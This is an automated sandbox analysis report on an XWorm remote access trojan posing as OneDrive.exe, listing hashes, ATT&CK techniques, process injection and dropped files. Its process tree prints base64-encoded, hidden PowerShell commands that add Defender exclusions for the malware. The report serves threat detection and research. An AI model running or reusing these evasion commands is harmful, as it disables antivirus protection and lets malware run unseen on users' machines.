xworm | fb4b4f1d5eff5554690fef39a65a76255e6c5587ddc98499ab3a7850b507cbfd

Analysis

max time kernel
49s
max time network
57s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
27/09/2024, 19:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

OneDrive.exe
Size

270.2MB
MD5

8a1d83bd60b0bf8b9ab7aa48951023e8
SHA1

af1fa47081d87d972b970851a6a55bcdd5db2050
SHA256

fb4b4f1d5eff5554690fef39a65a76255e6c5587ddc98499ab3a7850b507cbfd
SHA512

b4042b8b17c75af7984e06678efd871c1670bba74ca07b403bb0a03497e804905f2d0a72c022071f836605bf1cb95884672cdcd1d62111a7ea5f203e43e89d9f
SSDEEP

6291456:mHqyRktm833OwpWtAmlVKllT1wpzVX97XBf7ekh6PAGU:nyRkthewpWtxlV21wppX97RF64T

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4300-1142-0x0000000000400000-0x000000000042C000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3700 created 3400	3700	OneDrive.exe	55

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4804	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	OneDrive.exe

Executes dropped EXE 1 IoCs

pid	Process
4504	ihdvap.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3700 set thread context of 4300	3700	OneDrive.exe	88

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OneDrive.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4956	powershell.exe
4956	powershell.exe
3700	OneDrive.exe
4804	powershell.exe
4804	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3700	OneDrive.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	3700	OneDrive.exe
Token: SeDebugPrivilege	4300	cvtres.exe
Token: SeDebugPrivilege	4504	ihdvap.exe
Token: SeDebugPrivilege	4804	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3700 wrote to memory of 4956	3700	OneDrive.exe	82
PID 3700 wrote to memory of 4956	3700	OneDrive.exe	82
PID 3700 wrote to memory of 4956	3700	OneDrive.exe	82
PID 3700 wrote to memory of 4300	3700	OneDrive.exe	88
PID 3700 wrote to memory of 4300	3700	OneDrive.exe	88
PID 3700 wrote to memory of 4300	3700	OneDrive.exe	88
PID 3700 wrote to memory of 4300	3700	OneDrive.exe	88
PID 3700 wrote to memory of 4300	3700	OneDrive.exe	88
PID 3700 wrote to memory of 4300	3700	OneDrive.exe	88
PID 3700 wrote to memory of 4300	3700	OneDrive.exe	88
PID 3700 wrote to memory of 4300	3700	OneDrive.exe	88
PID 4300 wrote to memory of 4504	4300	cvtres.exe	93
PID 4300 wrote to memory of 4504	4300	cvtres.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3400
- C:\Users\Admin\AppData\Local\Temp\OneDrive.exe
  "C:\Users\Admin\AppData\Local\Temp\OneDrive.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Checks computer location settings
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4956
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Users\Admin\AppData\Local\Temp\ihdvap.exe
    "C:\Users\Admin\AppData\Local\Temp\ihdvap.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVQBzAGUAQQB0AHQAcgBpAGIAdQB0AGUAXABJAHMAUgBlAGEAZABPAG4AbAB5AC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVQBzAGUAQQB0AHQAcgBpAGIAdQB0AGUAXABJAHMAUgBlAGEAZABPAG4AbAB5AC4AZQB4AGUA
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
c1224fa10ae91e4523b644dee8093784

SHA1
192fd598898ffa5768ccf692682a5b5af61a3f28

SHA256
fd737aa9ba072502d942dce969f35eaec7ce10fbd356c1b11f6ac6b85d6fb9c7

SHA512
12fd801395333806d2cb74ac3f7eb7d3df35c0a6084f3ae577aa42a28b44beea008b7e9963ddb9427aaa28e7969689fbc37bff632ab08facd72f699552d62982

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_re2lu5ve.yt3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ihdvap.exe

Filesize
715KB

MD5
ab48b511e80c2f9545c9956ce04e53c5

SHA1
563edd19acca56b7e330e1fe2bd342c99aabb243

SHA256
d5f8f486001f017a278f35e67cc40aebea3d76dd261920ef097af6876ca87e81

SHA512
bfddf9225d798940f04f3b62724cbca69dfb49b13be1380ec85fe2cfeb10e175c327f13f28236c3add61a731daf9283f442e2d6ac21368d4b42f075429f657c1

Download Submit
memory/3700-1087-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/3700-20-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-4-0x0000000005B50000-0x0000000005C3E000-memory.dmp

Filesize
952KB

Download
memory/3700-14-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-12-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-28-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-24-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-32-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-40-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-68-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-67-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-61-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-58-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-54-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-52-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-50-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-48-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-46-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-44-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-42-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-38-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-36-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-34-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-65-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-1108-0x00000000746EE000-0x00000000746EF000-memory.dmp

Filesize
4KB

Download
memory/3700-56-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-30-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-26-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-22-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-1109-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/3700-18-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-16-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-10-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-8-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-6-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-5-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-1079-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/3700-1080-0x0000000005D30000-0x0000000005D98000-memory.dmp

Filesize
416KB

Download
memory/3700-1081-0x0000000005CD0000-0x0000000005D1C000-memory.dmp

Filesize
304KB

Download
memory/3700-1085-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/3700-1086-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/3700-2-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/3700-63-0x0000000005B50000-0x0000000005C38000-memory.dmp

Filesize
928KB

Download
memory/3700-0-0x00000000746EE000-0x00000000746EF000-memory.dmp

Filesize
4KB

Download
memory/3700-3-0x00000000057C0000-0x0000000005996000-memory.dmp

Filesize
1.8MB

Download
memory/3700-1138-0x0000000003110000-0x0000000003164000-memory.dmp

Filesize
336KB

Download
memory/3700-1141-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/3700-1137-0x0000000018780000-0x0000000018D24000-memory.dmp

Filesize
5.6MB

Download
memory/3700-1-0x0000000000E10000-0x0000000000FF4000-memory.dmp

Filesize
1.9MB

Download
memory/4300-1148-0x00000000066B0000-0x0000000006742000-memory.dmp

Filesize
584KB

Download
memory/4300-1147-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/4300-1146-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/4300-1145-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/4300-5157-0x00000000074D0000-0x00000000074DC000-memory.dmp

Filesize
48KB

Download
memory/4300-1144-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/4300-1142-0x0000000000400000-0x000000000042C000-memory.dmp

Filesize
176KB

Download
memory/4300-1143-0x0000000005640000-0x00000000056DC000-memory.dmp

Filesize
624KB

Download
memory/4504-1160-0x0000026A7E770000-0x0000026A7E828000-memory.dmp

Filesize
736KB

Download
memory/4504-1161-0x0000026A7F8A0000-0x0000026A7F9AA000-memory.dmp

Filesize
1.0MB

Download
memory/4504-5156-0x0000026A19480000-0x0000026A194D6000-memory.dmp

Filesize
344KB

Download
memory/4804-5158-0x0000019136670000-0x0000019136692000-memory.dmp

Filesize
136KB

Download
memory/4956-1106-0x0000000006390000-0x00000000063AE000-memory.dmp

Filesize
120KB

Download
memory/4956-1100-0x0000000005D30000-0x0000000005D96000-memory.dmp

Filesize
408KB

Download
memory/4956-1125-0x0000000007D00000-0x000000000837A000-memory.dmp

Filesize
6.5MB

Download
memory/4956-1126-0x00000000076C0000-0x00000000076DA000-memory.dmp

Filesize
104KB

Download
memory/4956-1127-0x0000000007730000-0x000000000773A000-memory.dmp

Filesize
40KB

Download
memory/4956-1128-0x0000000007940000-0x00000000079D6000-memory.dmp

Filesize
600KB

Download
memory/4956-1129-0x00000000078C0000-0x00000000078D1000-memory.dmp

Filesize
68KB

Download
memory/4956-1130-0x00000000078F0000-0x00000000078FE000-memory.dmp

Filesize
56KB

Download
memory/4956-1131-0x0000000007900000-0x0000000007914000-memory.dmp

Filesize
80KB

Download
memory/4956-1132-0x0000000007A00000-0x0000000007A1A000-memory.dmp

Filesize
104KB

Download
memory/4956-1107-0x00000000063D0000-0x000000000641C000-memory.dmp

Filesize
304KB

Download
memory/4956-1110-0x0000000006990000-0x00000000069C2000-memory.dmp

Filesize
200KB

Download
memory/4956-1105-0x0000000005EC0000-0x0000000006214000-memory.dmp

Filesize
3.3MB

Download
memory/4956-1124-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/4956-1094-0x0000000005CC0000-0x0000000005D26000-memory.dmp

Filesize
408KB

Download
memory/4956-1093-0x0000000005C20000-0x0000000005C42000-memory.dmp

Filesize
136KB

Download
memory/4956-1092-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/4956-1091-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/4956-1090-0x00000000055A0000-0x0000000005BC8000-memory.dmp

Filesize
6.2MB

Download
memory/4956-1088-0x0000000004DC0000-0x0000000004DF6000-memory.dmp

Filesize
216KB

Download
memory/4956-1111-0x000000006FC90000-0x000000006FCDC000-memory.dmp

Filesize
304KB

Download
memory/4956-1122-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/4956-1089-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download
memory/4956-1123-0x00000000075A0000-0x0000000007643000-memory.dmp

Filesize
652KB

Download
memory/4956-1121-0x0000000006950000-0x000000000696E000-memory.dmp

Filesize
120KB

Download
memory/4956-1133-0x00000000079E0000-0x00000000079E8000-memory.dmp

Filesize
32KB

Download
memory/4956-1136-0x00000000746E0000-0x0000000074E90000-memory.dmp

Filesize
7.7MB

Download